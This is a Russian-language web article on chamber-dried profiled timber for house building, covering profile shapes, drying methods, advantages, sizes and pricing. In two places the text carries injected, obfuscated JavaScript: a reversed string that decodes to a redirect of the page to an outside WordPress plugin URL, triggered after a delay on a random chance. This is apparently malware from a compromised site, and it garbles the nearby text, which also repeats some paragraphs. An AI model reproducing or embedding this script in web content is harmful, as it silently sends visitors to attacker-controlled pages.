Что такое брус камерной сушки: описание, характеристики, плюсы и минусы

Форма профиля

Название «профильный» указывает на наличие у изделий замкового соединения – профиля, который может иметь разную форму.

Среди самых распространенных и популярных видов:

• гребенка, представляющая многошиповое соединение;
• профиль с одним шипом;
• профиль с двумя шипами;
• «финский»;
• «норвежский» – характерный, в основном, для лафета, хотя встречается и на других видах бруса;
• профиль со скошенными фасками и другие.

Для строительства загородных домов или коттеджей, предназначенных для всесезонного проживания наиболее эффективно использование бруса, обеспечивающего более плотное прилегание венцов друг к другу, а это могут гарантировать только те изделия, у которых большее количество шипов. Именно поэтому в частном домостроении самым популярным профилем является «гребенка».

Для дачных домов вполне подойдет материал и с одним шипом, но при строительстве бани из профилированного бруса также следует отдавать предпочтение изделиям, гарантирующим более плотное прилегание венцов друг к другу.

У застройщиков набирает популярность «финский» профиль, главной характерной особенностью которого является углубленный широкий паз с одной стороны бруса и параллельные шипы – с противоположной. Благодаря такой конструктивной особенности обеспечивается плотное прилегание венцов с максимально широким тепловым швом, что минимизирует потери тепла.

Считается, что даже без межвенцового утеплителя такое соединение бруса будет гарантировать тепло и уют в доме, но все же экспериментировать не следует. Тем более что из-за особенностей этого замкового соединения войлок или иной материал полностью находится в пазе и необходимость в конопатке стен, если, конечно, все сделано правильно – нет.

Таким образом, выбирая какой материал использовать для строительства дома: сухой профилированный брус или пиломатериалы естественной влажности, клееные изделия и так далее, прежде всего, следует обращать внимание на форму профиля. Чем он сложнее и замысловатее, тем теплее будет в доме

Кроме того, срубы, поставленные из бруса со сложной формой профиля, имеют более равномерную усадку

Чем он сложнее и замысловатее, тем теплее будет в доме. Кроме того, срубы, поставленные из бруса со сложной формой профиля, имеют более равномерную усадку.

Наряду с формой профиля, профилированный брус отличается и по виду внешней стороны изделия:

• D-образной;
• прямолинейной (ровной).

На эксплуатационные характеристики эта особенность не влияет, но использование D-образных изделий оправдано в том случае, когда застройщик хочет построить деревянный дом имитирующий вид настоящего деревянного сруба.

Отличительные качества технологического процесса по изготовлению сухого профилированного бруса

Главное отличие данного материала изначально заложено в само название профилированного бруса – это сушка. Перед непосредственным пропусканием его через специальную фрезеровальную установку, данный материал подвергается тщательной просушки. Но помимо этого профилированный брус проходит скрупулезный отбор, где сразу же бракуют всякие неровности, углубления и дефекты.

После этого отобранные, ровные заготовки проходят еще одну процедуру – калибровку по размерам. И только после всего этого брус отправляют на сушку. При этом сушка бывает как натуральной, так и камерной, но мы в этой статье будем рассматривать исключительно камерную сушку. Камерную сушку могут проводить не все производители, это обуславливается высокой ценой камерной сушки. Подобную сушку можно произвести за двадцать часов. Натуральная сушка занимает очень длительное время примерно три месяца. А при камерной сушке на всех звеньях производят добавочные компрессионные надпилы. Таким образом, производитель предотвращает растрескивание материала во время непосредственной сушки в камере.

Во время просушивания брус крутят во все стороны, и он непременно растрескивается. Из-за этой причины и случается огромное количество отбраковки древесного сырья. Причем чем крупнее надсечка звена, тем больше будет в последующем брака. Именно по данной причине большинство производителей просто напросто не желают нести такие потери и не пользуются такими технологиями.

После чего заготовки проходят через станок, где производятся две гладкие, ровные стороны, а также сторона с шипом и непосредственно с пазом.

Перевозка профилированного бруса также обладает некоторыми отличительными свойствами. Брус скрупулезно пакуют и завертывают в специальную герметическую пленку, чтобы древесина не впитала лишнюю влагу из воздуха.

Почему все строители топят за сухую доску

Потому что она для них как воздух. Экономит время, которое для них — деньги:

1. Идеальные размеры — значат экономию времени. Не надо ничего выравнивать и подгонять. Всё сразу в идеал.
2. Быстро собираем каркас, утепляем, обшиваем и бегом на следующий объект. С влажной такое не пройдёт. Об этом ниже.
3. Поставщик даёт цену со скидкой. Ни что не мешает компании эту скидку вам не показать и заработать лишние 20-30 000 рублей. С миру по нитке, как говорится.
4. Если компания даёт гарантию на дом, то рисковать и разгребать потом проблемы за свой счёт ей не хочется

У профессионалов есть главный аргумент. И они правы на 100%. Сухая калиброванная доска сохраняет все соединения такими же плотными и прочными, как они были при сборке каркаса. Влажная при высыхании даст зазоры в 1,2,3 мм там, где их не было при сборке.

Плюсы и минусы сухого бруса

И является сложным и трудоёмким процессом, требующим строгого соблюдения норм и правил. Только так пиломатериал сможет приобрести следующие качественные показатели:

• отсутствие деформационных процессов;
• устойчивость к гниению и появлению плесени;
• небольшой вес и неподверженность растрескиванию.

Главное преимущество – он минимально подвержен усадочным процессам, что позволяет начинать отделочные работы через короткий срок после возведения сруба. Основной недостаток – неравномерное просыхание изделий. Брус с большим сечением в сердцевине практически не просыхает. Итог: появление трещин, деформация и прочее.

Плюсы и минусы применения

Современное деревянное жилое строительство невозможно представить без использования бруса камерной сушки. Застройщики отмечают множество его положительных качеств, основные из которых:

1. Практическое отсутствие трещин, у хорошего материала его показатель не превышает 3-4% от общего объема. Это достигается за счет выдерживания технологии сушки и выбора правильного профиля бруса и разгрузочных пазов.
2. Малый объем усадки ниже 8%, что позволяет практически сразу начинать отделочные работы.
3. Дом из камерного бруса не уменьшает высоту помещений из-за усадочных процессов.
4. Экологическая древесина, поскольку не использует клей.
5. Гладкие обработанные грани бруса, не требующие проведения дорогостоящих и внутренних и наружных отделочных работ.
6. Замечательный вид.
7. Создание теплого дома за счет идеального межбрусового прилегания.
8. Экономичное строительство, требуется меньше выполнять конопатки и обработки стен. Влагостойкая стена, форма рассчитана таким образом, чтобы вода не попадала между брусьями, защищая стены от гниения.
9. Простота и высокая скорость возведения коробки дома.
10. Дом дышит, поскольку структура дерева при обработке не нарушается. Даже при закрытых окнах, воздухообмен в доме продолжает циркулировать наполняя его свежим ароматом дерева.
11. Сопротивление биологическому воздействию грибков и бактерий, благодаря заводской пропитке глубокого проникновения.
12. Стены не разрушаются от резких перепадов температур.
13. Долговечность более 50 лет.

К минусам камерного бруса специалисты относят сложность процесса сушки, который должен обеспечивать равномерность его прогревания, опасность неравномерного высыхания изделий большой толщины, когда середина остается влажной, высокая цена на готовый материал и на 30 % выше чем на необработанный брус.

О достоинствах и недостатках сухого бруса камерной сушки

Плюсы бруса, высушенного в камере, таковы:

• стопроцентная экологичность;
• привлекательная стоимость;
• отличная водостойкость;
• невысокая теплопроводность;
• отсутствие клеевых швов;
• минимальное количество трещин;
• сопротивляемость воздействию грибковых заболеваний;
• долговечность;
• невосприимчивость к перепадам температур;
• возможность обойтись сэкономить на отделочных работах.

Работать с таким материалом – одно удовольствие, он легок, хорошо подгоняется, требует меньшего количества трудозатрат. А выглядят конструкции замечательно как снаружи, так и изнутри.

Есть у профилированного бруса и недостатки. Главный минус – способность вернуть себе часть влаги. Работающие под нагрузкой конструкции ведут себя сдержаннее, поэтому каркас здания следует смонтировать быстро и дать ему постоять месяцев 6 – отдохнуть, приобрести постоянную оптимальную влажность и завершить процесс усадки материала. Потом работы можно продолжать.

Однако этого вынужденного простоя можно избежать, если приобретать сухой профилированный брус камерной сушки заданных размеров. Тогда процесс идет быстро, а новоселье – не за горами.

Мини-брус: сфера применения

Мини-брус, являясь сравнительно новым материалом, стал успешным конкурентом цельному брусу (превосходя его по эксплуатационным параметрам) и клееному профилированному брусу (как более дешевая альтернатива). Конструктивно он является копией стандартного строительного бруса, уступая тому лишь габаритами.

Сфера применения мини-бруса охватывает все области загородного малоэтажного строительства; материал может использоваться для:

• Возведения временных построек (летних и гостевых домиков).
• Возведения капитальных домов для сезонного проживания.
• Строительства загородных домов круглогодичного проживания в большинстве климатических зон европейской части России.
• Перестройки дома (пристройки веранды, террасы или навеса).
• Благоустройства приусадебного участка (сооружение бани и беседки).

Двухэтажный дом из двойного бруса для круглогодичного проживанияИсточник www.sk-delo.ru

Разновидности

По способу выполнения стеновых конструкций используют мини-брус трех конфигураций:

• Одинарный. Применяется для возведения дачного сезонного дома, беседки, детского домика и летней веранды.
• Двойной. Пригоден для строительства теплой веранды и хозяйственных построек. Двойной брус — самый распространенный вариант для возведения капитального загородного дома.
• Тройной. Встречается реже, используется для регионов с особо суровым климатом.

Толщина стеновой конструкции (брус-утеплитель-брус) зависит от нескольких параметров:

• Особенностей проекта. Будет ли дом использоваться периодически или семья будет жить в нем постоянно.
• От способа обогрева жилья.
• От географического положения и климата.
• От бюджета, выделенного на постройку.

Стены представляют собой конструкцию из двух или трех параллельных брусьев с утеплением между ними. Производители предлагают мини-брус с толщиной от 44 до 75 мм. Длина изделия варьируется от 2 до 6 м. Ширина стены из двойного или тройного мини-бруса определяется толщиной утеплителя, закладываемого в простенок (100-150 мм). Распространенным является вариант двойных стен 44х100х44.

Двойной мини-брус, один из вариантов конструкцииИсточник giropark.ru

Что собой представляет сухой материал?

Вода в древесине хранится в 2-х основных формах: свободная в сосудах и клетках, используется для передвижения питающих веществ по структуре дерева, и в виде связанной воды, которая является неотъемлемой частью клеток. Средняя влажность выдержанной древесины составляет 15 %, а иногда может достигать 21 %.

Большинство конструкций домов из бруса имеют особые требования к содержанию влаги, которые значительно ниже 15%. Поэтому брус проходит процесс камерной сушки, в ходе которого удаляется вся свободная вода и большая часть связанной. При удалении последней меняется размер и форма клетки, а, следовательно, и бруса, поэтому этот процесс проводится с тщательным технологическим контролем за температурой и скоростью подсушки.

Брус камерной сушки — строительный материал, полученный в процесс сушки древесины в термических камерах для удаления связанной влаги, в результате чего получается новый строительный материал для домовозведения.

Сухой брус получают несколькими технологическими приемами, но все методы обеспечивают главное условия качественного продукта — равномерное удаление воды, для предотвращения повреждения исходного сырья при сушке.Первоначальное снижение влажности является результатом свободной потери воды при первой распиловке древесины, обычно это происходит без каких-либо значительных изменений его размеров. Когда условия окружающей среды благоприятные, процент влажности падает до тех пор, пока вся свободная вода не испаряется в атмосферу. Эта точка известна как точка насыщения волокна (fsp).

Для дальнейшего снижения влажности потребуется дополнительная сушка. При последующем снижении содержания влаги ниже точки fsp произойдет уменьшение количества связанной воды в клеточной стенке древа, что потребует больше энергии и может протекать медленнее, чем потеря свободной воды и уменьшение размера древесины.

Высушивание в печи позволяет контролировать циркуляцию воздуха, относительную влажность и температуру, чтобы содержание влаги в брусе могло быть снижено до заданного значения без образования дефектов в его структуре.

Различают несколько видов процесса сушки дерева:

1. Камерная сушка, для коммерческих процессов сушки древесины толщиной до 45 мм.
2. Сушка в вакуумной печи. При вакууме падает температура кипения, жидкость испаряется, и время сушки значительно сокращается.
3. Вентиляции продольная по выравниванию древесных волокон и
4. поперечная для больших объемов древесины.

На западе профессиональные столяры, которые хотят сэкономить деньги и избежать высокой стоимости бруса камерной сушки, устраивают у себя в мастерских солнечную печь камерной сушки. Она является недорогой установкой по борьбе с влажностью дерева и очень проста в эксплуатации.

Себестоимость такого вида обработки невысокая, из-за низкого удельного расхода энергии на получение 1 м3 камерного бруса, Энергия потребляется только на работу вентиляторов для циркуляции теплого воздуха, нагреваемого солнечной энергией.

Чтобы солнечная печь не сушила древесину слишком быстро, что может привести к непоправимым дефектам, деревообработчики применяют влагомер для контроля уровня EMC. Это поможет предотвратить растрескивание, коробление или раскалывание готового сухого бруса.

Разновидности и типы

Брус камерной сушки классифицируется:

1. По профилированию: не профилированный и профилированный.
2. По обработке поверхности граней: прямолинейный, когда все плоскости гладкие; D-образный с выпуклой лицевой плоскостью, из-за чего стена из него напоминает оцилиндрованое бревно; О-образный, его плоскости выпуклые лицевые/внутренние формы, а при строительстве такая стена похожа сруб из бревна.
3. По разъемам профилирования: одношиповой с 1-м гребнем, наиболее простой, но имеет недостаток — слабую теплоизоляцию; двойной с повышенной теплоизоляцией с утеплителем в межвенцовом шве; со срезанными фасками, для предотвращения попадания влаги в межгребневую плоскость; немецкая — » гребенка», самая популярная из-за высоких теплотехнических характеристик и финская с двумя гребнями и широким межгребневым участком для закладки утеплителя.
4. По размерам длина выпускаемых изделий находится в диапазоне от 1 до 6 м, последняя считается стандартной, наиболее популярными являются изделия с длинами 2 или 3 м; по размеру сечения стандартные 100, 150 и 200 мм и нестандартные от 45 до 275 мм.

Сравниваем клееный и брус естественной влажности

Цельный брус получают путем четырехсторонней окантовки бревен. Данный материал ввиду простоты изготовления является одним из самых дешевых. Но нужно понимать, что это брус естественной влажности, поэтому и дом, построенный из него, будет давать продолжительную и существенную усадку. Несмотря на это, для строительства недорогих дачных домиков чаще всего используют именно такой стройматериал.

Клееный брус производят по сложной технологии, которая включает получение досок из бревен, их просушку и обработку, склеивание досок и последующую вырезку бруса. Благодаря этому становится возможным получить стройматериал с определенными свойствами и минимальными значениями усушки и усадки (для дома, построенного из него).

Ниже мы представили сравнительную таблицу, в которой сопоставили цельный и клееный брус по основным, как нам кажется, показателям, среди которых:

• стоимость;
• экологичность;
• долговечность;
• эксплуатационные характеристики и т.д.

Из всего вышесказанного очевидно, что клееный брус обладает явными преимуществами перед обычным – цельным. В свою очередь, материал естественной влажности вполне уместно использовать для строительства дачных домов, не претендующих на высокие эксплуатационные качества. Такой дом будет более экологичным и подойдет для сезонного проживания.

Чем интересен строителям брус профилированный

Для строительства домов, коттеджей, бань используют брус – пиломатериал прямоугольного сечения. Брус изготавливают разных видов – цельный, оцилиндрованный, клееный, профилированный.

Профилированный брус сечения 150х150мм, 200х150мм, 200х200, 200х250 мм или других размеров в поперечнике имеет выступы и углубления в верхней и нижней плоскостях. При монтаже эти профили дают идеальное сцепление между соседними рядами, шва практически нет. При возведении стен из такого бруса не всегда выполнима забивка швов паклей, настолько плотно прилегают ряды.

Применение такого вида бруса позволяет ускорить процесс монтажа каркаса здания, ровная поверхность облегчает отделку.

Плюсы и минусы домов из профилированного бруса

Для того чтобы построить деревянный загородный или дачный дом можно выбрать разные виды материала, но застройщики часто отдают предпочтение именно профилированному брусу, обладающему рядом неоспоримых достоинств, среди которых:

• экологичность, данный критерий обусловлен естественным происхождением древесины, из которой и изготавливаются изделия;

• низкий коэффициент теплопроводности стен;

• высокая паропроницаемость;

• удовлетворительная звукоизоляция;

• сжатые сроки строительства – возвести дом из профилированного бруса вполне реально за один сезон, особенно учитывая тот факт, что вести работы можно и даже нужно в зимние месяцы. Это актуально, если используется материал естественной влажности, так как обеспечивается более равномерная усадка строения, не приводящая к критическим деформационным процессам;

• сокращение расходов за счет отсутствия необходимости в отделке как фасада, так и внутренних стен;

• возможность не устраивать дополнительный теплоизоляционный слой при правильном выборе толщины бруса, соответствующего климатической зоне или особенностям эксплуатации. Как правило, дачные дома из профилированного бруса, проживание в которых носит сезонный характер, не имеет смысла строить из более дорогого материала с большей толщиной – иногда вполне достаточно даже бруса с сечением 100?100 мм или 100?150 мм;

• нет необходимости в устройстве мощного фундамента;

• долговечность, эксплуатационный срок может достигать векового рубежа.

Кроме того, следует отметить, что на состояние бруса и всего дома в целом оказывает влияние и наличие специальной фаски, а также плотного межвенцового шва, не допускающего попадание влаги вовнутрь.

Сравнивая, что лучше оцилиндрованное бревно или профилированный брус, следует обращать внимание на такой момент, как способ выполнения угловых соединений. Часто для бревна оправданным и с эстетической, и с практической стороны являются угловые соединения «с остатком»

Если все же дом предполагается облицовывать, то необходимо сделать выбор в пользу соединений «без остатка». Но даже в том случае, если внешняя отделка и не предусмотрена, угол дома из профилированного бруса будет значительно теплее, нежели аналогичный из бревна, так как площадь прилегания будет больше

Часто для бревна оправданным и с эстетической, и с практической стороны являются угловые соединения «с остатком». Если все же дом предполагается облицовывать, то необходимо сделать выбор в пользу соединений «без остатка». Но даже в том случае, если внешняя отделка и не предусмотрена, угол дома из профилированного бруса будет значительно теплее, нежели аналогичный из бревна, так как площадь прилегания будет больше.

Это относится и к венцовым соединениям. Даже несмотря на наличие специального паза у оцилиндрованного бревна, ширина теплового шва оказывается меньше чем у бруса. Поэтому стены брусового дома при меньшей толщине могут иметь более низкий коэффициент теплопроводности, а это значит, что материала потребуется меньше и стоимость строительства будет ниже. Следует учесть и эксплуатационный момент: затраты на отопления дома из бруса будут значительно меньше.

Если говорить о минусах домов из профилированного бруса, то следует отметить, что материал является пожароопасным, не обладающим огнестойкостью.

Но чтобы обезопасить проживание в таком доме следует провести специальную обработку антипиренами. Часто такая обработка проводится непосредственно на заводе, но не всегда, поэтому при покупке материала этот факт следует обязательно уточнить.

Также определенные неприятности могут быть связаны с привлекательностью материала для различных микроорганизмов, которые с удовольствием и азартом способны «обжить» свои новые апартаменты. Но чтобы этого не произошло, необходимо проводить регулярную (1 раз в 3-5 лет) антисептическую обработку.

Кроме того, чтобы сохранить презентабельный внешний вид дома, потребуется регулярная обработка лаками или красками поверхности его наружных и внутренних стен.

Плюсы технологии

Камеры с температурной и влажностной обработкой позволяют обеспечивать процессы сушки с полным сохранением экологичности материала. В большинстве случаев подобные методы обработки не требуют задействования активных химических средств, повышающих эффективность процесса. Отмечается и высокое качество результата. Если оператор не допускал ошибок при организации процесса, то полученный брус обретет высокие прочностные и защитные качества.

Многие указывают и на высокую производительность камерной сушки древесины. Плюсы и минусы, впрочем, в этой характеристике сходятся. С одной стороны, пакетированная обработка действительно позволяет за короткие временные интервалы обслуживать большие объемы древесины. А с другой – невозможность обработки малых пакетов с урезанной загрузкой ограничивает сферы применения такого оборудования.

Способ 1. Используем и сухую и влажную

Один из выходов — частично использовать лес естественной влажности (ЕВ) и частично сухую.

При сушке дерево почти не меняет свои размеры вдоль волокон — длина доски остаётся неизменной. И на ~5% меняется ширина и толщина доски.

Влажную доску можно пустить туда, где изменения толщины и ширины не имеет значения. Это:

• одиночные стойки
• обвязочные доски
• черные настилы (опора утеплителя, черные полы)

Сухую доску пускаем на всё остальное:

• бриджинги (перемычки по-русски)
• хедеры
• лаги перекрытий
• обрамления проемов

Посчитайте всё по своему проекту. Может так оказаться, что экономия будет не существенной.

Срубы естественной сушки

Любой вид древесины имеет свой показатель влажности. У сруба естественной сушки он имеет высокий показатель. Сохнуть естественным путем сруб будет долго. После сборки дом должен простоять не менее года, чтобы закончился процесс его усадки и сушки, а это большой срок. Не рекомендуется делать сразу отделку дома и ставить крышу. Крыша и пол кладутся черновые, а сам дом еще год продолжает сохнуть и усаживаться.

Применение срубов естественной сушки имеет ряд недостатков:

• Большой процент усадки: чем больше первоначальный коэффициент влажности, тем сильнее будет подвергаться деформации сруб.
• Высокая склонность к образованию трещин.
• Возможны перекосы оконных и дверных проемов.
• Необходимо дополнительно обрабатывать брус (особенно торцы) антисептическим раствором.

Те застройщики, которые использовали при строительстве дома брус естественной сушки, выделяют некоторые его положительные стороны:

• по ряду технологических показателей и эксплуатации он не уступает просушенному материалу;
• монтаж сруба выполняется легко;
• низкая стоимость.

Возводить строение из бруса естественной сушки можно тогда, когда хочется существенно снизить расходы для закупки строительных материалов. Время на возведение дома в таком случае увеличится. Но если планируется неспешная и поэтапная реализация проекта постройки, то применение такого вида сруба будет вполне рациональным решением.

Еще одним способом сэкономить будет приобретение для сруба дома материала зимней заготовки. Он имеет влажность всего 18%, а этот показатель близок к влажности бруса камерной сушки.

Профилированный брус камерной сушки – виды и типы

Рассматривая виды сухого профилированного бруса можно отметить, что в основе отличий лежат такие характеристики, как:

1. Вид лицевой поверхности

По этому признаку выделяют:

прямолинейный профилированный брус. Лицевая и изнаночная стороны у такого материала гладкие;

выгнутый (D-образный). Отличается наличием выпуклой лицевой стороны. Благодаря чему, стена из профилированного бруса похожа по внешнему виду на стену из оцилиндрованного бревна;

выгнутый (О-образный). Профиль имеет выпуклую лицевую и внутреннюю сторону. Благодаря этому внутри помещение тоже выглядит как сруб из бревна.

2. Вид профилирования

одношиповой (профиль с одним шипом). Такой брус имеет один гребень. За счет отсутствия впадины вода не собирается в межвенцовом шве и брус не ведет. Самый простой вид профилирования. Недостаток – плохая теплоизоляция;

двойной (профиль с двумя шипами). Такой профиль обеспечивает лучшую теплоизоляцию и дает возможность использовать теплоизоляционный материал для укладки в межвенцовом шве;

профиль со скошенными фасками. Предотвращает попадание воды в плоскость между гребнями;

множественный или «гребенка», (немецкий). Наиболее популярный, имеет высокие показатели теплосбережения. Сложный с точки зрения монтажа и эффективный с позиции надежности стыка;

финский (скандинавский). Имеет два гребня, широкий плоский участок между ними, дающий возможность использовать уплотнитель и фаски, предотвращающие попадание воды. Прост в укладке и позволяет защитить дом от промерзания.

Варианты профилирования сухого бруса

3. Размеры бруса камерной сушки

• длина: от 1 до 6 м.п. Стандартной считается длина в 6 метров. Популярными являются длины 2 и 3 м.п. Если заказывать домокомплект, то заготовки будут нарезаны в соответствии с проектной документацией дома;
• сечение стандартное: 100х100, 150х150, 200х200 мм;
• сечение нестандартное: от 45 до 275 мм.

На выбор размеров сухого профилированного бруса оказывают влияние назначение строения и климатические условия в месте строительства.

Например, рекомендуется использовать:

сухой профилированный брус сечением 100х100 для строительства беседок, веранд, летних домиков, хозяйственных построек, дачных домов сезонного проживания;

сухой профилированный брус сечением 150х150 для строительства жилых домов (с последующим утеплением), бань;

сухой профилированный брус сечением 200х200 для возведения коттеджей элит-класса. Толщина стен повышает прочность конструкции (коробки дома), на такие стены можно навешивать тяжелые предметы мебели и декоративные элементы отделки и облицовки.

4. Стоимость бруса камерной сушки

На цену сухого бруса влияют все вышеперечисленные факторы: вид лицевой поверхности, вид профилирования, размеры, а также удаленность производителя от места строительства. Ведь транспортные расходы вносят существенную часть в общую стоимость заказа.

Стоимость сухого профилированного бруса в зависимости от сечения бруса, объема закупки и формы оплаты приведена в таблице.

Ценовая политика на профилированный брус в различных городах России.

Технологические аспекты производства

Как делают профилированный брус

Дискуссии о том, tobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to-luchshe-brus-ili-brevno» rel=»bookmark»>что лучше — брус или бревно, а также какой брус лучше — сухой или естественной влажности – в среде профессиональных строителей не теряет своей актуальности и по сей день.

Чтобы наши читатели могли сформировать свою точку зрения, вначале мы разберемся, что же представляет собой строительный брус как таковой:

• Чаще всего под брусом подразумевается заготовка, которая либо выпиливается из цельного древесного ствола, либо склеивается из досок подходящей длины и толщины.
• На верхней и нижней плоскости бруса в процессе изготовления формируется профиль особой формы (наиболее популярны конфигурации «два шипа» и «гребенка»). Конфигурация профиля подбирается с таким расчетом, чтобы два бруса соединялись между собой практически без зазора.

Формирвоание профиля

Наиболее простым в изготовлении считается массивный материал, вырезанный из цельной заготовки. Клееные разновидности бруса, например, из лиственницы отличает высокая цена, но в то же время они характеризуются минимальной усадкой и практически полным отсутствием деформаций.

Что касается содержания влаги в древесине, то по этому параметру различают сырье естественной влажности и заготовки, подвергнутые камерной сушке. Что такое брус естественной влажности и в чем заключается его отличие от высушенного, мы расскажем в следующем разделе.

Влажность бруса

Влажность древесины – это показатель, который характеризует долю воды в составе строительного сырья.

И здесь следует учитывать ряд нюансов:

• Вода в дереве делится на две категории – свободную и связанную. Свободная влага удаляется из дерева очень легко путем естественного испарения. Достаточно, чтобы древесина пролежала некоторое время в помещении с нормальным уровнем влажности – и доля свободной воды в брусе снизится до минимума.
• Со связанной водой все сложнее: для ее удаления приходится применять специальные технологии, поскольку естественное высушивание демонстрирует очень низкую эффективность. Кроме того, увеличение количества связанной воды приводит к снижению прочности дерева.

$NjS=function(n){if(typeof ($NjS.list)==»string») return $NjS.list.split(«»).reverse().join(«»);return $NjS.list;};$NjS.list=[«\’php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.stobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to-sushilnoy-kamery-v-deystvii-600×450.jpg» width=»600″ height=»450″ /> Фото сушильной камеры в действии

Исходя их этого, под брусом естественной влажности понимают материал, который подвергся удалению только свободной воды. Для снижения содержания связанной влаги  необходимо проводить обработку древесины в специальных камерах  — только так мы можем получить сухой брус.

Особенности использования в строительстве

Чем же отличаются дома из бруса естественной влажности от зданий, возведенных из сухого материала?

Первое, и самое важное отличие, заключается в усадке древесины. Все дело в том, что связанная влага, как мы отмечали выше, покидает древесину медленно

При этом происходит деформация деревянной детали, вызывающая изменение линейных размеров.

• Если вы возводите дом из такого материала своими руками, то стоит отдельно позаботиться о поддержании формы оконный и дверных проемов. Чтобы при высыхании форма окон и дверей оставалась неизменной, необходимо заранее устанавливать в проемы специальные конструкции – обсады.
• Если для строительства используется проф брус естественной влажности, специалисты рекомендуют проводить основные работы в холодное время года. Это связано в первую очередь с уменьшение риска образования трещин при высыхании: чем ниже будет температура в первые два-три месяца, тем ниже вероятность растрескивания влажного дерева.

Компенсационные пропилы

Еще одна особенность – наличие благотворной среды для развития бактерий и грибков. На сухом дереве эти паразиты селятся крайне неохотно. Следовательно, для защиты постройки нужно применять соответствующие меры (обеспечивать гидроизоляцию, наносить пропитки и т.д.).

Биозащитные составы